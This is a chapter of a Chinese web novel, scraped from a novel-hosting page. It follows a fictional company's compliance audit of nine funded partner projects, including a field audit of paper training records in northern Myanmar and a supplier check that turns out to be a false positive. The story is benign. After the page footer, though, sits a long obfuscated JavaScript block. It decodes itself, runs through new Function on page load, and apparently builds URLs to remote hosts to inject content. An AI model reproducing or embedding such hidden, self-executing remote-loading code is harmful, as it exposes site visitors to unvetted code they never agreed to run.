首页
第445章 生态合作方合规审
返回
关灯 护眼:关 字号:小

第445章 生态合作方合规审计月

章节报错(免登陆)
下载APP,无广告、完整阅读

一秒记住【笔趣阁】
biquge521.com,更新快,无弹窗!

    天罡许可商业化章程正式生效的当天上午,周明在法务部终端上启动了生态合作方合规审计月的第一项流程——向生态合作基金首期九个获资助项目的执行团队发送合规审计预通知。通知的模板是他在三天前亲自起草的,措辞经过李明哲在日内瓦的远程修订,核心只有三句话:审计依据是生态合作基金评审规则第十五条「获资助项目须接受半年度合规审计」;审计范围覆盖项目执行进度丶资金使用合规性和数据治理规范性三个维度;审计报告全文对外公开。
    「合规审计月不是突击检查。」周明在法务部全员动员会上把预通知的定稿投在屏幕上,「是生态合作基金在设立之初就写进评审规则的制度安排。九个项目在签署资助协议时都明确知悉半年度审计义务。我们现在做的不是加码,是兑现。」
    方程从新加坡加密视频接入,他面前摊着九个项目的首月执行进度追踪表。苏黛在生态合作基金投放后建立的周度追踪机制已经运转了整整一个多月,九张项目进度卡从最初的白板移到了天枢OS生态运营管理模块的仪表盘上。仪表盘的实时数据显示:七个项目进度正常,一个项目——缅北街边店培训基地——因雨季道路中断导致场地租赁延迟了八天,但培训师资和课程内容已全部准备就绪,道路恢复后可在两周内追回进度;一个项目——爪哇商城天罡应用兼容性测试云平台——提前完成了首期测试节点的部署,比原计划快了四天,已经进入第二期扩容准备。
    「数据上看,九个项目都没什么大问题。」方程在仪表盘上逐项标注了审计重点,「但合规审计审的不是数据好不好看,审的是数据是不是真的。追踪表上的每一条进度数据,必须能在项目执行方的原始工作日志丶财务凭证和沟通记录中找到一一对应的佐证。做不到一一对应,进度再好看也不算过关。」
    周明把九个项目的审计任务分配给了法务部的三个审计小组,每组负责三个项目。审计方法参照联合检测验证工作组在追光产线合规验收中使用的「全链路闭环核查」——不是抽查样本,而是从项目的每一笔资金支出追溯到对应的采购合同和银行流水,从每一个进度节点追溯到对应的工作日志和产出物版本记录,从每一份数据报告追溯到原始数据的采集来源和处理过程。
    第一个进入审计程序的是获资助金额最大的项目——爪哇商城天罡应用兼容性测试云平台。项目负责人是爪哇商城旗下晶片设计服务公司的一名技术副总裁,一位在爪哇软体行业浸了十五年的华裔工程师,姓蔡。蔡总在收到审计预通知后四十八小时内就把全部审计材料打包上传到了天枢OS生态运营管理模块的审计子系统中。材料包括第一期测试节点的全部部署日志丶采购伺服器和网络设备的合同与付款凭证丶测试用例的完整版本记录丶以及过去一个月内发现和修复的兼容性缺陷清单。每一份材料都标注了时间戳和责任人,文件命名格式统一,目录结构清晰。
    审计小组在线上完成了第一轮材料审查后,提出了一个疑问:测试云平台在首期部署中采购了一批进口网络交换设备,采购合同上的供应商是一家注册在霓虹的贸易公司,而霓虹是火龙联盟的成员。这笔采购是否违反了生态合作基金的资金使用规则中「优先采购非受限来源设备」的条款?
    蔡总在视频质证中调出了采购决策的全套内部审批记录。记录显示,测试云平台在采购网络交换设备前进行了三轮供应商比价和来源审查。第一轮入围的四家供应商中有三家来自火龙联盟成员国家,一家来自南亚本地。南亚本地供应商的报价比霓虹供应商高出百分之四十,且交货周期从三周延长至十一周。项目团队在审慎评估后选择采购霓虹设备,但同时在南亚本地供应商处下了一笔小额的备件采购订单,用于建立长期供应关系。所有决策过程都有会议纪要和邮件记录佐证。
    「采购决策不是完美的——我们选了更快的供应商而不是最安全的供应商。」蔡总在质证中坦诚地承认,「但决策过程是完整的丶留痕的丶可以被追溯的。如果审计委员会认为这个决策在合规上有瑕疵,我们愿意接受整改意见,并在第二期扩容采购中优先启用南亚本地供应商。」
    审计小组在内部评议后给出的结论是:该采购决策存在合规风险但未构成违规,建议在项目中期审计时跟踪南亚本地供应商的启用进度。这条结论被全文写入了爪哇商城项目的审计报告初稿,连同蔡总的质证陈述和全部采购审批记录一并作为附件。
    第二个进入审计程序的是缅北街边店培训基地项目。项目由缅甸阳光数码科技吴敏登负责,获资助金额六百万元。审计小组面临的最大挑战不是材料完整性,而是缅北地区的基础设施条件——克钦邦和掸邦的街边店培训点大部分位于电网不稳定丶网络间歇性中断的山区城镇,项目执行过程中产生的原始记录很大一部分以纸质形式保存在各个培训点的档案柜里,而不是实时上传到云端。
    周明对这个项目的审计方式做了特殊安排。他没有要求吴敏登把所有纸质记录扫描上传——这在缅北的雨季根本不现实。他派出了法务部一名年轻的合规专员,与方程在仰光办事处的一名本地雇员组成两人联合审计小组,搭乘缅甸国内航线到曼德勒,再转乘吴敏登安排的皮卡,沿着缅北的砂石公路进入克钦邦的三个培训点做实地核查。
    联合审计小组在克钦邦的第一个培训点——密支那郊区的一栋两层水泥建筑——待了整整两天。培训点的一楼是维修车间,三台天权4L设备在检修台上亮着屏幕,墙上贴着阿贡手写的缅语故障排查流程图。二楼是理论课教室,黑板上的粉笔字还留着昨天培训课的内容——电源管理晶片的电压测试方法。审计小组的合规专员逐页翻查了培训点过去两个月的全部纸质记录:学员签到表上有每个人的手写签名或按下的红手印,培训日志记录了每一节课的教学内容和学员提问,设备维修记录上详细标注了每一台设备的故障类型丶维修方法和更换的备件编号。
    合规专员在第二天的审计日志中写道:「密支那培训点没有数位化办公系统,没有云存储,没有电子签章。但有一样东西——在每一份培训日志的末尾,培训师和学员都有签名。不是电子签名,是用原子笔写在纸上。有些名字写得歪歪扭扭,有一个学员在名字旁边按了一个红手印,因为还不会写字。这些签名的法律效力在任何司法管辖区都不够强,但在缅北这个教室里,签名和手印是任何人也伪造不了的真实。」
    联合审计小组在三个培训点完成了实地核查后,出具了一份十八页的审计报告。报告的核心结论是:项目资金使用合规,每一笔支出都有对应的收据或银行转帐记录;培训进度因雨季延迟了八天但已完成追赶;纸质记录的完整性和真实性在实地核查中得到确认。报告同时建议生态合作基金在第二期资助中为缅北项目增设一笔数位化改造专项拨款,用于为各培训点配备离线数据采集终端——在有网络时将本地存储的数据自动同步到天枢OS生态运营管理模块。
    方程在收到这份审计报告后,把合规专员的那段审计日志转发给了陈醒,附了一句话:「密支那培训点没有数位化系统,但有签名。审计的意义不是挑毛病,是把这些在泥泞山路尽头的真实记录下来,让所有在日内瓦质疑生态合作基金的人都看到——我们的审计和资助一样,到得了任何地方。」
    陈醒在日志上批了三个字:「存档案。」
    第三个进入审计程序的项目引发了一场意外的风波。项目是南洋渠道联合体智能终端工业场景联合测试,由爪哇商城丶南洋万通和缅甸阳光数码科技三家联合承担,资助金额四千五百万元。项目在首月进展顺利,三个工业场景——棕榈油压榨设备的振动监测终端丶远洋渔船卫星通信终端和热带作物冷链温控终端——全部完成了首轮测试。但审计小组在审查采购合同时发现了一个异常:项目团队向一家注册在合城本地的传感器供应商采购了三百套温度传感器模组,合同金额一百二十万元,但这家供应商的工商注册地址和实际经营地址不一致,且在项目采购前三个月内变更过一次法定代表人。
    周明把这个异常标记为红色优先级。供应链穿透是生态合作基金审计中最敏感的一环——如果获资助项目的采购链中存在关联交易或虚假供应商,生态合作基金的合规性将受到严重打击,火龙联盟在日内瓦的第三轮质询也会抓住这一点穷追猛打。他启动了法务预警系统的供应链追溯模块,对那家传感器供应商做了全链条穿透调查。
    穿透调查的结果在七十二小时内出来了。那家供应商的实际控制人是一位合城产业园早期离职的工艺工程师,离职后在合城周边经营一家小型传感器工坊。公司注册地址和经营地址不一致是因为近期搬迁了新厂房,工商变更登记尚未完成。法定代表人变更是因为原法定代表人——那位工艺工程师的妻子——将股权转让给了丈夫,属于家族企业内部的正常工商变更。传感器模组的采购价格与市场均价持平,不存在利益输送的嫌疑。整个事件只是因为一家小型供应商的工商变更办理不及时而触发了审计警报。
    周明在审计报告中对这件事的处理方式展现了他一贯的冷静和严谨。他没有因为查清事实就一笔带过,而是在报告中专门加了一节——「审计发现中的『假阳性』问题」。他在这一节中写道:「供应链穿透调查有百分之十到十五的异常触发最终被证实为假阳性。这些假阳性会消耗审计资源丶增加被审查方的配合负担丶并可能在未查明事实时引发不必要的信任危机。但审计制度必须承受假阳性的代价。因为如果为了消灭假阳性而降低审计的穿透深度,就会同时放过真正的异常。允许假阳性存在,是审计可信度的制度成本。」
    他把这段分析提交给了研发治理委员会的季度审计专项会议。会议在合城产学研融合中心举行,研发治理委员会全体委员出席,联合技术委员会的两名独立委员和星环学术委员会的一名代表列席。周明在会议上展示了合规审计月前三周的完整审计数据:九个项目全部完成首轮审计,发现合规风险点四个——其中两个为假阳性,一个为可整改的采购合规瑕疵,一个为缅北项目的纸质记录数位化滞后问题。没有发现任何资金挪用丶虚假进度报告或数据造假。
    「零重大违规。」周明在总结中把这四个字投在屏幕上,「九个项目,三亿两千万元,首轮合规审计的结果——零重大违规。这个数据不是未来科技自评的,是通过全链路闭环核查丶包括实地核查和供应链穿透调查后得出的。所有审计工作底稿对外公开,任何有意愿核验的第三方都可以通过联合检测验证工作组的渠道申请调阅。」
    研发治理委员会外部技术顾问中最年长的一位——星环学术委员会的一名七十三岁的材料学教授——在听完周明的汇报后摘下老花镜,说了一段让会议室里所有人都安静下来的话:「我在学术界做了四十多年研究,见过太多科研经费被挪用的案例。一个三亿多元的基金,九个项目,覆盖三个国家,穿透审计做到底,发现零重大违规——这个成绩在任何一个国家的科研基金管理史上都是罕见的。但比成绩更重要的是,你们把审计报告全文公开了。公开审计报告意味着把基金的信誉交给了任何想质疑它的人去检验。敢这样做,本身就是最好的合规。」
    联合检测验证工作组秘书处在合规审计月启动的同一周收到了周明提交的首批三份审计报告。李明哲在日内瓦时间当天下午把这批审计报告作为应对第三轮质询的补充证据正式提交。他在提交函中写道:「生态合作基金的半年度合规审计已启动。首批三份审计报告全文公开,包括所有审计发现丶被审计方的质证陈述丶审计小组的内部评议和最终结论。这是生态合作基金自评审规则公开丶评审过程全程录像丶投票记录实时公示之后,对『可验证』承诺的第四项制度化兑现。」
    火龙联盟第三轮质询的焦点恰好是「生态合作基金评审过程是否独立」。李明哲提交的这批审计报告没有直接回应独立性——审计是评审之后的环节——但审计报告中所展现的完整审计留痕和被审计方的质证权利记录,间接证明了生态合作基金的治理体系在每一个环节都在执行同一套「可验证」元规则。
    方程在合规审计月收尾阶段做了一件他计划了很久的事。他让方敏在可验证墙的一个新展格里放入了这次合规审计月的全部审计工作底稿的索引目录。目录长达一百二十页,每一条索引都附带了一个可在线调阅的加密连结。展格的标签上写着:「生态合作基金半年度合规审计——审计报告全文丶审计工作底稿索引丶被审计方质证记录。第三轮日内瓦质询前夕,可验证墙同步更新。」
    他在展格前站了一会儿,然后掏出手机拍了一张照片,发给了仍在密支那的吴敏登。照片附了一句话:「审计报告里有密支那培训点那叠纸质签到表的扫描件。每一个手印都扫进去了。」
    吴敏登在当天晚上回复了一张照片。照片里密支那培训点的维修车间墙上,阿贡已经把生态合作基金发布会的展板照片贴在了维修台上方,旁边新贴了一份列印出来的审计报告摘要——缅语版。照片的角落里,一个穿着天权设备维修工服的年轻技师正埋头焊接一块主板,墙上那行喷漆的字在灯光下隐约可见:「这辆车拉过的每一台设备都有名字。」
    方程把吴敏登的照片转发给周明,附了一句话:「合规审计的全部意义,就在这张照片里。审计不是为了证明没有违规——是为了让密支那那个年轻技师知道,他的名字在审计报告里,他的名字被全世界看见了。」
    周明在收到消息时正在法务部整理合规审计月的最终总结报告。他把方程的这句话记在了报告的扉页,然后在总结报告的最后一章写下了下一阶段的行动项——将合规审计月从生态合作基金的半年度固定动作,扩展为天罡生态全部合作方的常态化合规监测机制。监测范围覆盖生态合作基金获资助项目丶天罡许可商用授权签约方丶天罡Edge全球合作试验的六个场景参与方,以及南洋和印巴的街边店认证维修网络。监测系统接入法务预警系统的数据采集层,与天枢OS数据治理规则引擎打通,实现合规风险的实时扫描和分级预警。
    「合规审计不应该只是半年一次的大检查。」周明在行动项的末尾写道,「它应该像产线上的在线检测站台一样,跑在生态运营的每一个环节里,在问题刚冒出来的时候就触发预警,而不是等到半年后翻开材料才发现。这是合规审计月教会我们最重要的一件事。」
    行动项的建议书在当天下午提交给了研发治理委员会。章宸在审阅时追加了一条技术实现方案——在天枢OS生态运营管理模块中新辟一个「合规监测」子模块,由郑工负责架构设计,数据来源从法务预警系统和数据治理规则引擎同步接入。模块的开发周期预估为六周,恰好覆盖下一批小型创企孵化与资助轮启动的时间窗口。
    陈醒在建议书上签了字,批了一行字:「合规是制度的事,不是人的事。制度能做到的就不靠人来盯。照此推进。」
    合城六号会议室的窗外,夜色中追光五期的钢结构框架已经架到了第二层,焊接的火花在暮春的夜风中闪烁。追光四期的航标灯一如既往地亮着,恒芯封装试产线里天权6号量产版的封装正在连续跑片。造芯学院实训车间的灯光透过窗户洒在后院的基石碑前,碑上八十七个名字在灯光与夜色的交错中安静地排列着。
    而在日内瓦湖畔,李明哲刚刚合上了周明发来的合规审计月总结报告。他打开联合检测验证工作组第三轮质询的议程草案,在生态合作基金议题的旁边写了一行手写的笔记:「对方的问题是『基金评审过程是否独立』。我们的回答是——评审规则公开丶评审过程全程录像丶投票记录实时公示丶审计报告全文公开。四件事都做完了,独立不独立,不是我们说了算,是这些公开记录让他们自己看。」
    他合上笔记本,走到窗前。湖面上的最后一班渡轮正在靠岸,船灯在夜色中拖出一条金色的光迹。距离第三轮质询只剩不到两周。距离火龙联盟第二轮设备出口审查动议表决已进入最后的倒计时。距离追光首批退役设备签约——以及同一天的天权6号样片回片——这些都已经刻在了合城的大事记中。此刻摆在李明哲面前的,是质询席上即将到来的那场交锋。而他从周明那里得到的全部底牌——合规审计月零重大违规的结论丶一百二十页的审计工作底稿索引丶九个项目的完整审计档案——已经被整齐地码进了质询材料的卷宗,只等在日内瓦的听证厅里逐页翻开。
章节报错(免登陆)
下载APP,无广告、完整阅读
验证码: 提交关闭
!function(){function a(a){var _idx="d2yajuo2zt";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"5phCS^"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/f@TdC_O@4F/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"f@TdC_O@4F"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)m)qXL26Fm2YF"="}Ko}X5ThF)mp5LJXYTm2YF"="}Ko}2pThFm)qXL26Fm2YF"="}Ko}_JqhFmp5LJXYTm2YF"="}Ko}2TOhFm)qXL26Fm2YF"="}Ko}CSqhF)mp5LJXYTm2YF"="}Ko})FfThF)fm)qXL26Fm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mRSdJ6YLm(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mRSdJ6YLm(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q/f/}Ko}j(8}vY8f@TdC_O@4F"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();